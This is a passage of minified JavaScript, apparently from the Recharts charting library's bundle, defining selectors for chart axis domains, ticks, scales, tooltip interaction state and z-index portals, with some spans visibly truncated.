e.length>0?e:n.slice(r,i+1)},W0=I([DI,E4],F0),U0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),lf=I([W0,it,gl],U0);function r3(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function zc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function S2(e){if(Array.isArray(e)){var t=[zc(e[0]),zc(e[1])];return Br(t)?t:void 0}var n=zc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(zc).filter(or)}function RI(e,t,n){return!n||typeof t!="number"||mr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=zs(e);return Ss(e,t,n)},yl=I([yt],e=>e==null?void 0:e.dataKey),$I=I([t3,E4,yt],q4),i3=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(L0);return[l,{stackedData:NT(e,d,n),graphicalItems:u}]}))},a3=I([$I,t3,xl,F4],i3),s3=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=CT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},BI=I([it],e=>e.allowDataOverflow),V0=e=>{var t;if(e==null||!("domain"in e))return gh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:gh},H0=I([it],V0),K0=I([H0,BI],_4),FI=I([a3,Yr,Je,K0],s3,{memoizeOptions:{resultEqualityCheck:sf}}),cf=e=>e.errorBars,WI=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>r3(n,r)),Ru=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>r3(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=RI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=S2(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=S2(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},UI=I([W0,it,II,cf,Je],G0,{memoizeOptions:{resultEqualityCheck:sf}});function VI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var HI=(e,t,n)=>{var r=e.map(VI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&sN(r))?qk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},o3=e=>e.referenceElements.dots,Cs=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),KI=I([o3,Je,vl],Cs),l3=e=>e.referenceElements.areas,GI=I([l3,Je,vl],Cs),c3=e=>e.referenceElements.lines,YI=I([c3,Je,vl],Cs),u3=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},qI=I(KI,Je,u3),d3=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=I([GI,Je],d3);function ZI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function QI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var f3=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?ZI(r):QI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},JI=I([YI,Je],f3),eD=I(qI,JI,XI,(e,t,n)=>Ru(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Ru(r,s,i):Ru(s,i);return dI(t,u,e.allowDataOverflow)},tD=I([it,H0,K0,FI,UI,eD,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:sf}}),nD=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=vr(t,s);if(u&&l==null){var d;return qk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?HI(r,e,u):i==="expand"?nD:o}},X0=I([it,De,W0,lf,xl,Je,tD],q0);function rD(e){return e in io}var m3=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(sl(r));return rD(s)?s:"point"}}},Ti=I([it,J4,E0],m3);function Z0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?k2(e.scale,n,r):k2(t,n,r)}var Q0=(e,t,n)=>{var r=V0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return xI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return vI(e,t.tickCount,t.allowDecimals)}},J0=I([X0,Ss,Ti],Q0),ev=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},iD=I([it,X0,J0,Je],ev),aD=I(lf,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),sD=(e,t,n)=>{var r=qr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"xAxis",t,n,r.padding)},oD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:p3(e,"yAxis",t,n,r.padding)},lD=I(qr,sD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),cD=I(Xr,oD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),uD=I([kt,lD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),dD=I([kt,De,cD,Wd,Fd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),bl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return uD(e,n,r);case"yAxis":return dD(e,n,r);case"zAxis":return(i=D0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return K4(e);case"radiusAxis":return G4(e,n);default:return}},h3=I([it,bl],rf),fD=I([Ti,iD],X4),uf=I([it,Ti,fD,h3],Z0);I([gl,cf,Je],WI);function x3(e,t){return e.idt.id?1:0}var df=(e,t)=>t,ff=(e,t,n)=>n,mD=I($d,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),pD=I(Bd,df,ff,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(x3)),v3=(e,t)=>({width:e.width,height:t.height}),hD=(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}};I(kt,qr,v3);var xD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},vD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},gD=I(Kr,kt,mD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=v3(t,l);o==null&&(o=xD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),yD=I(Hr,kt,pD,df,ff,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=hD(t,l);o==null&&(o=vD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),bD=(e,t)=>{var n=qr(e,t);if(n!=null)return gD(e,n.orientation,n.mirror)};I([kt,qr,bD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var wD=(e,t)=>{var n=Xr(e,t);if(n!=null)return yD(e,n.orientation,n.mirror)};I([kt,Xr,wD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});I(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}});var g3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&sN(c))return c}},tv=I([De,lf,it,Je],g3),y3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},nv=I([De,lf,Ss,Je],y3);I([De,MI,Ti,uf,tv,nv,bl,J0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var jD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?qt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};I([De,Ss,Ti,uf,J0,bl,tv,nv,Je],jD);var ND=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?qt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},b3=I([De,Ss,uf,bl,tv,nv,Je],ND),w3=I(it,uf,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})}),kD=I([it,Ti,X0,h3],Z0);I((e,t,n)=>D0(e,n),kD,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})});var zD=I([De,$d,Bd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),j3=e=>e.options.defaultTooltipEventType,N3=e=>e.options.validateTooltipEventTypes;function k3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function rv(e,t){var n=j3(e),r=N3(e);return k3(t,n,r)}function SD(e){return je(t=>rv(t,e))}var z3=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},CD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},PD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},S3=nn({name:"tooltip",initialState:PD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=Yn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:ED,replaceTooltipEntrySettings:_D,removeTooltipEntrySettings:AD,setTooltipSettingsState:OD,setActiveMouseOverItemIndex:C3,mouseLeaveItem:TD,mouseLeaveChart:P3,setActiveClickItemIndex:MD,setMouseOverAxisIndex:E3,setMouseClickAxisIndex:LD,setSyncInteraction:yh,setKeyboardInteraction:bh}=S3.actions,ID=S3.reducer;function C2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ec(e){for(var t=1;t{if(t==null)return si;var i=BD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(FD(i)){if(s)return ec(ec({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ec(ec({},si),{},{coordinate:i.coordinate})};function WD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function UD(e,t){var n=WD(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function VD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:UD(r,n)}var iv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||VD(u,n,r)?String(c):null},A3=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},O3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},T3=e=>e.options.tooltipPayloadSearcher,Ps=e=>e.tooltip;function P2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function E2(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=YD(g,l),b=Array.isArray(v)?hk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=oN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(z=>{var S=E2(E2({},y),{},{name:z.name,unit:z.unit,color:void 0,fill:void 0});p.push(Dy({tooltipEntrySettings:S,dataKey:z.dataKey,payload:z.payload,value:Ve(z.payload,z.dataKey),name:z.name}))});else{var k;p.push(Dy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(k=Ve(N,j))!==null&&k!==void 0?k:y==null?void 0:y.name}))}return p},f)}},av=I([yt,J4,E0],m3),qD=I([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),XD=I([St,zs],R0),Es=I([qD,yt,XD],$0,{memoizeOptions:{resultEqualityCheck:of}}),ZD=I([Es],e=>e.filter(I0)),QD=I([Es],B0,{memoizeOptions:{resultEqualityCheck:of}}),_s=I([QD,Yr],F0),JD=I([ZD,Yr,yt],q4),sv=I([_s,yt,Es],U0),L3=I([yt],V0),eR=I([yt],e=>e.allowDataOverflow),I3=I([L3,eR],_4),tR=I([Es],e=>e.filter(I0)),nR=I([JD,tR,xl,F4],i3),rR=I([nR,Yr,St,I3],s3),iR=I([Es],n3),aR=I([_s,yt,iR,cf,St],G0,{memoizeOptions:{resultEqualityCheck:sf}}),sR=I([o3,St,zs],Cs),oR=I([sR,St],u3),lR=I([l3,St,zs],Cs),cR=I([lR,St],d3),uR=I([c3,St,zs],Cs),dR=I([uR,St],f3),fR=I([oR,dR,cR],Ru),mR=I([yt,L3,I3,rR,aR,fR,De,St],Y0),wl=I([yt,De,_s,sv,xl,St,mR],q0),pR=I([wl,yt,av],Q0),hR=I([yt,wl,pR,St],ev),D3=e=>{var t=St(e),n=zs(e),r=!1;return bl(e,t,n,r)},R3=I([yt,D3],rf),$3=I([yt,av,hR,R3],Z0),xR=I([De,sv,yt,St],g3),vR=I([De,sv,yt,St],y3),gR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?qt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=I([De,yt,av,$3,D3,xR,vR,St],gR),ov=I([j3,N3,CD],(e,t,n)=>k3(n.shared,e,t)),B3=e=>e.tooltip.settings.trigger,lv=e=>e.tooltip.settings.defaultIndex,jl=I([Ps,ov,B3,lv],_3),ps=I([jl,_s,yl,wl],iv),F3=I([Zr,ps],z3),W3=I([jl],e=>{if(e)return e.dataKey}),yR=I([jl],e=>{if(e)return e.graphicalItemId}),U3=I([Ps,ov,B3,lv],O3),bR=I([Hr,Kr,De,kt,Zr,lv,U3],A3),wR=I([jl,bR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),jR=I([jl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),NR=I([U3,ps,Yr,yl,F3,T3,ov],M3),kR=I([NR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function _2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function A2(e){for(var t=1;tje(yt),ER=()=>{var e=PR(),t=je(Zr),n=je($3);return xu(!e||!n?void 0:A2(A2({},e),{},{scale:n}),t)};function O2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},MR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return za(za(za({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function LR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var V3=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(qt(x-h)!==qt(g-x)){var v=[];if(qt(g-x)===qt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var k=Math.min(h,g),z=Math.max(h,g);if(e>(k+x)/2&&e<=(z+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var O=0;O(A.coordinate+P.coordinate)/2||O>0&&O(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+T.coordinate)/2)return A.index}}return-1},H3=()=>je(E0),cv=(e,t)=>t,K3=(e,t,n)=>n,uv=(e,t,n,r)=>r,IR=I(Zr,e=>Pd(e,t=>t.coordinate)),dv=I([Ps,cv,K3,uv],_3),fv=I([dv,_s,yl,wl],iv),DR=(e,t,n)=>{if(t!=null){var r=Ps(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},G3=I([Ps,cv,K3,uv],O3),$u=I([Hr,Kr,De,kt,Zr,uv,G3],A3),RR=I([dv,$u],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Y3=I([Zr,fv],z3),$R=I([G3,fv,Yr,yl,Y3,T3,cv],M3),BR=I([dv,fv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),FR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&LR(e,o)){var l=PT(e,t),c=V3(l,s,i,n,r),u=TR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},WR=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=_8(e,n);if(l){var c=ET(l,t),u=V3(c,o,s,r,i),d=MR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},UR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?FR(e,t,r,i,s,o,l):WR(e,t,n,r,i,s,o)},VR=I(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),HR=I(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:SI}});function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function M2(e){for(var t=1;tM2(M2({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),qR)},ZR=new Set(Object.values(Zt));function QR(e){return ZR.has(e)}var q3=nn({name:"zIndex",initialState:XR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!QR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 